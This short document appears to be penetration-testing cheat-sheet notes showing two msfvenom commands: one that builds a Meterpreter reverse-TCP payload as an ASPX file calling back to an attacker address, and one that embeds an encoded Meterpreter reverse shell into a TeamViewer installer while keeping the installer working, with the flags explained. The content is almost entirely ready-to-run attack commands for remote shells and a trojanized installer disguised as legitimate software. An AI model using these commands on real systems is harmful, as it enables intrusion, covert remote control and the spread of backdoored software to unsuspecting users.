Create Payload
terminal
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=1337 -f aspx > reverse_shell.aspx
We can use the Metasploit multi/handler module to set up a listener
Create Backdoor
txt
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -x ~/Downloads/TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 5
- -k: keeps the original executable functional
- -x: executable template into which to embed the payload
- -e: encoder, -i: iterations